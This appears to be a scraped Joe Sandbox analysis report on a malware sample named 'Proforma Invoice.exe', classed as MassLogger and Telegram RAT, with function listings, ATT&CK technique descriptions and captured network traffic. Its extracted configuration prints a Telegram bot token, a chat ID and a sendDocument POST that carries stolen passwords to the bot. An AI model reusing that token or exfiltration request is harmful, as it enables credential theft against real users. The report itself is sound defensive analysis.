
Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Variant$Init$ClearCopy_memmove
String ID: d}u
API String ID: 2932060187-174143718
Opcode ID: d729143f225b4a8dbf420e82e5ea7608ccb0c4181f59cd88ffbb51f57c17a6e7
Instruction ID: 48ba30aaeb2bfb64ca1e6cc36fb7a17e732f3cf3e76dbc0e3a206c2ccc99879c
Opcode Fuzzy Hash: d729143f225b4a8dbf420e82e5ea7608ccb0c4181f59cd88ffbb51f57c17a6e7
Instruction Fuzzy Hash: 221100719007089FC720EF99D88489AF7F8FF18310B50862EE58AD7611D775AA49CF94

Function 00704F28 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00704F46
_wcscmp.LIBCMT ref: 00704F58

Strings

#32770, xrefs: 00704F52

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: 2c3cd1fb7cf0f9b0d0a1557d0dcdc615ea9ade81e3456454e5b8e855b98ed2de
Instruction ID: a2fbeee582c40bc04f4c6dcefd8467175c4465e9436ccf9e4fe9c149980efbc6
Opcode Fuzzy Hash: 2c3cd1fb7cf0f9b0d0a1557d0dcdc615ea9ade81e3456454e5b8e855b98ed2de
Instruction Fuzzy Hash: 01E022726002282BD320AA99AC0AFA7F7ACEB40B20F00002AFD00D2141E9A4AA1587E4

Function 006DB2C1 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 006DB314: _memset.LIBCMT ref: 006DB321

Part of subcall function 006C0940: InitializeCriticalSectionAndSpinCount.KERNEL32(?,00000000,?,006DB2F0,?,?,?,006A100A), ref: 006C0945

IsDebuggerPresent.KERNEL32(?,?,?,006A100A), ref: 006DB2F4
OutputDebugStringW.KERNEL32(ERROR : Unable to initialize critical section in CAtlBaseModule,?,?,?,006A100A), ref: 006DB303

Strings

ERROR : Unable to initialize critical section in CAtlBaseModule, xrefs: 006DB2FE

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: CountCriticalDebugDebuggerInitializeOutputPresentSectionSpinString_memset
String ID: ERROR : Unable to initialize critical section in CAtlBaseModule
API String ID: 3158253471-631824599
Opcode ID: b560481dfaddc1c3cc0711e3cf758523b50b9a1488865464da64e1f9cef35f38
Instruction ID: cf7ea173e92151b7fdb81c54a634972d0d8c87d66363e45c289f9b11981863d2
Opcode Fuzzy Hash: b560481dfaddc1c3cc0711e3cf758523b50b9a1488865464da64e1f9cef35f38
Instruction Fuzzy Hash: 46E06DB0600710CFE760EF28D4087467AE4BF00744F068A7DE456C7341E7B8D405CBA1

Function 006F7C74 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 006F7C82

Part of subcall function 006C3358: _doexit.LIBCMT ref: 006C3362

Strings

Error allocating memory., xrefs: 006F7C7B
AutoIt, xrefs: 006F7C76

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Message_doexit
String ID: AutoIt$Error allocating memory.
API String ID: 1993061046-4017498283
Opcode ID: 45d158840818453b299d1905035d4f882fd739532775cdcadf7df1f32d49b403
Instruction ID: 13e1fe1f87d2c0db3f9bbfc2706982d5bb301e50bc5dcff2b574099adf39d3c3
Opcode Fuzzy Hash: 45d158840818453b299d1905035d4f882fd739532775cdcadf7df1f32d49b403
Instruction Fuzzy Hash: 7AD0C2323C435836E15432A8AC06FDA36498B05B12F004429FF08991D349D5488042BC

Function 006E1935 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?), ref: 006E1775

Part of subcall function 0071BFF0: LoadLibraryA.KERNEL32(kernel32.dll,?,006E195E,?), ref: 0071BFFE
Part of subcall function 0071BFF0: GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 0071C010

FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000104), ref: 006E196D

Strings

WIN_XPe, xrefs: 006E1788

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: Library$AddressDirectoryFreeLoadProcSystem
String ID: WIN_XPe
API String ID: 582185067-3257408948
Opcode ID: d60ca05a0790534a46fa220b3c35ab5ccfd78b33e5879b2328fa57206ce90ec0
Instruction ID: 89305ba80f36e424e2df8449a4d6642978ac8001be709c0a4fa4d8a84fcd9ef0
Opcode Fuzzy Hash: d60ca05a0790534a46fa220b3c35ab5ccfd78b33e5879b2328fa57206ce90ec0
Instruction Fuzzy Hash: 6DF06D70801248DFCF25DB92C988AECBBF9FB09701F500096E002A6190C7744F86EF24

Function 00725964 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0072596E
PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 00725981

Part of subcall function 00705244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 007052BC

Strings

Shell_TrayWnd, xrefs: 00725967

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 3008bb0ac02cbfc54b08980a4ae3935f840fc1e69a518ba3fcb8f96d275da3f6
Instruction ID: 33c5fe6c7da96e01cbbbb27aac3ead5ee51390652a0a629d3982c4c4b0534c7a
Opcode Fuzzy Hash: 3008bb0ac02cbfc54b08980a4ae3935f840fc1e69a518ba3fcb8f96d275da3f6
Instruction Fuzzy Hash: 13D0C971384311B7E6B4BB709C0FFD76A64BF00B51F004835F649AA1D0D9E89811CA98

Function 00725998 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15windowCOMMON

Download Yara Rule

APIs

FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 007259AE
PostMessageW.USER32(00000000), ref: 007259B5

Part of subcall function 00705244: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 007052BC

Strings

Shell_TrayWnd, xrefs: 007259A7

Memory Dump Source

Source File: 00000000.00000002.1768850399.00000000006A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000000.00000002.1768827120.00000000006A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.000000000072F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768902335.0000000000754000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768956867.000000000075E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1768995267.0000000000767000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6a0000_Proforma Invoice.jbxd

Similarity

API ID: FindMessagePostSleepWindow
String ID: Shell_TrayWnd
API String ID: 529655941-2988720461
Opcode ID: 8c58e49ffcfd5c24864de621a7a5c7ca685bb4e8f28816fa94f80ba549fd3e11
Instruction ID: e08c3741d683211ca722ba76ccadd7c31a7f33b426973c66d5405b13756d8cdd
Opcode Fuzzy Hash: 8c58e49ffcfd5c24864de621a7a5c7ca685bb4e8f28816fa94f80ba549fd3e11
Instruction Fuzzy Hash: 2BD0C971380311BBE6B4BB709C0FFD76664BF04B51F004835F645AA1D0D9E8A811CA98

Source: 00000001.00000002.4216346327.00000000031BA000.00000004.00000800.00020000.00000000.sdmp	Malware Configuration Extractor: MassLogger {"EXfil Mode": "Telegram", "Telegram Token": "7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg", "Telegram Chatid": "5839829477"}
Source: RegSvcs.exe.7324.1.memstrmin	Malware Configuration Extractor: Telegram RAT {"C2 url": "https://api.telegram.org/bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/sendMessage"}

Source: Network traffic	Suricata IDS: 1810008 - Severity 1 - Joe Security ANOMALY Telegram Send File : 192.168.2.4:49732 -> 149.154.167.220:443
Source: Network traffic	Suricata IDS: 2057744 - Severity 1 - ET MALWARE Snake/Best Private Keylogger CnC Exfil Via Telegram : 192.168.2.4:49732 -> 149.154.167.220:443

Source: global traffic	HTTP traffic detected: GET /xml/8.46.123.189 HTTP/1.1Host: reallyfreegeoip.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: POST /bot7708662779:AAH6Et2SseJQ86UUKPaQRakBrlKtq8QtlJg/sendDocument?chat_id=5839829477&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1Content-Type: multipart/form-data; boundary================8dd236981062ef2Host: api.telegram.orgContent-Length: 1090Connection: Keep-Alive

Source: Joe Sandbox View	IP Address: 149.154.167.220 149.154.167.220
Source: Joe Sandbox View	IP Address: 104.21.67.152 104.21.67.152
Source: Joe Sandbox View	IP Address: 193.122.6.168 193.122.6.168

Source: Joe Sandbox View	JA3 fingerprint: 54328bd36c14bd82ddaa0c04b25ed9ad
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 05690A1Ah	1_2_05690600
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 056902F1h	1_2_05690040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0569C34Dh	1_2_0569C010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 05690A1Ah	1_2_056905F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0569E868h	1_2_0569E5C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0569D708h	1_2_0569D460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0569BA09h	1_2_0569B760
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0569E410h	1_2_0569E168
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0569B5B1h	1_2_0569B308
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0569DFB8h	1_2_0569DD10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0569B159h	1_2_0569AEB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 05690A1Ah	1_2_05690947
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0569DB60h	1_2_0569D8B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0569BE61h	1_2_0569BBB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0569AD01h	1_2_0569AA58
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe	Code function: 4x nop then jmp 0569ECC0h	1_2_0569EA18

Source: unknown	DNS query: name: checkip.dyndns.org
Source: unknown	DNS query: name: reallyfreegeoip.org

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;)Host: checkip.dyndns.org

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	DNS traffic detected: DNS query: checkip.dyndns.org
Source: global traffic	DNS traffic detected: DNS query: reallyfreegeoip.org
Source: global traffic	DNS traffic detected: DNS query: api.telegram.org

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Proforma Invoice.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Telegram RAT

Threatname: MassLogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\Wauseon

C:\Users\user\AppData\Local\Temp\autA10F.tmp

C:\Users\user\AppData\Local\Temp\autA16E.tmp

C:\Users\user\AppData\Local\Temp\disimmure

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Windows Analysis Report
Proforma Invoice.exe

Function 006A3B3A Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 153
windowCOMMON

Function 006A49A0 Relevance: 10.7, APIs: 7, Instructions: 223
COMMON

Function 006A4E89 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62
COMMON

Function 00709155 Relevance: 19.8, APIs: 13, Instructions: 322
fileCOMMON

Function 006A3015 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 73
windowregistryCOMMON

Function 006A3041 Relevance: 19.3, APIs: 7, Strings: 4, Instructions: 54
windowregistryCOMMON

Function 006A708B Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 201
registryCOMMON

Function 006A3633 Relevance: 17.7, APIs: 8, Strings: 2, Instructions: 151
windowtimeregistryCOMMON

Function 006A3A46 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 71
windowregistryCOMMON

Function 006A3766 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 267
COMMON

Function 006AF76F Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 168
comCOMMON

Function 01E52600 Relevance: 10.7, APIs: 7, Instructions: 239
fileCOMMON

Function 006A39D5 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Function 01E523B0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 154
fileCOMMON

Function 006A407C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88
windowCOMMON

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

